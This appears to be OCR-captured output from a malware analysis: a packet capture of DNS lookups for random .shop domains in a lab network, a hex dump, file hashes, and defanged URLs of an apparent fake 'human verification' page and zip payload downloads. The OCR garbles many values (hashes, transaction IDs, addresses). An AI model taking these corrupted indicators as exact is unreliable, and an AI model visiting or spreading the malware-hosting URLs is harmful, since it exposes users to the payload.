85 56.698877787 10.0.0.4 10.0.0.3 DNS 80|Standard query Oxfael A bassizcellskz.shop
90 56.719895299 10.60.0.3 10.0.0.4 DNS 96|standard query response ©xfael A bassizcellskz.shop A 10.0.0.3
101 56.734588070 10.0.0.4 10.0.0.3 DNS 80|standard query ©x8302 A mennyudosirso.shop
106 56.746927687 10.0.0.3 10.0.0.4 DNS 96|Standard query response @x8302 A mennyudosirso.shop A 10.0.8.3
117 56.769271164 10.0.0.4 10.0.0.3 DNS 80|Standard query ©x1b76 A languagedscie.shop
122 56.789475652 10.0.0.3 10.0.0.4 DNS 96|Standard query response ©x1b70 A languagedscie.shop A 10.0.0.3
133 56.812722191 10.0.0.4 10.0.0.3 DNS 82|standard query ©x17ac A complaintsipzzx.shop
136 56.826337362 10.0.0.3 10.0.0.4 DNS 98|Standard query response @x17ac A complaintsipzzx.shop A 10.8.0.
147 56.847747741 10.0.0.4 10.0.0.3 DNS 8o|standard query ©x104b A quialitsuzoxm.shop
152 56.864196543 10.0.0.3 10.0.0.4 DNS 96|standard query response ©x104b A quialitsuzoxm.shop A 10.0.0.3

Frame 26: 82 bytes on wire (656 bits), 82 bytes captured (656
Linux cooked capture vi
Internet Protocol Version 4, Src: 10.6.0.4, Dst: 10.6.0.3
User Datagram Protocol, Src Port: 51480, Dst Port: 53
Domain Name System (query)

Transaction ID: @x8fic
» Flags: 0x0100 Standard query

Questions: 1

Answer RRs: ©

Authority RRs: 0

Additional RRs: @
- Queries

» futureddospzmvq.shop: type A, class IN

[Response In: 27]

PR———

00 06 60 61 60 06 08 00 27 O b2 e7 00 00 08 60

45 00 00 42 37 e6 00 00 80 11 ee be ©a 00 00 04 E--B7
0020 ©a 00 00 03 c9 18 00 2e 8c cb 8f 1c 01 00

00 01 00 B0 B0 80 00 00 OF 66 75 74 75 72 65 64

bits) on interface any, id @

futured

64 6f 73 70 7a 6d 76 71 ©4 73 68 6f 70 00 00 01  dospzmvq -shop

00 01

@ 7 Domain Name System: Protocol

Packets: 838 - Displayed: 76 (9.1%)

fea50d3bb695f6ccchcal3834cdfe298
83ae58dd03f33d1fae6771e859200beb6
7b1f43deed8fc7e35f8394548e12dd81
c39f64a31e9f15338183411bb9fc0942
b832096¢cTf669ff4d66e04b252chlaldc

 URL:

https://ch3[.]dlvideosfre[.]click/human-verify-system[.]html

https://verif[.]dlvideosfre[.]click/2ndhsoru
https://verif[.]dlvideosfre[.]Jclick/K1[.]zip
https://verif[.]dlvideosfre[.]click/K2[.]zip
https://verif[.]dlvideosfre[.]click

celebratioopz[.]shop
writerospzm[.]shop

deallerospfosul[.]shop

bassizcellskz[.]shop
mennyudosirso[.]shop
languagedscie[.]shop

complaintsipzzx[.]shop

quialitsuzoxm[.]shop
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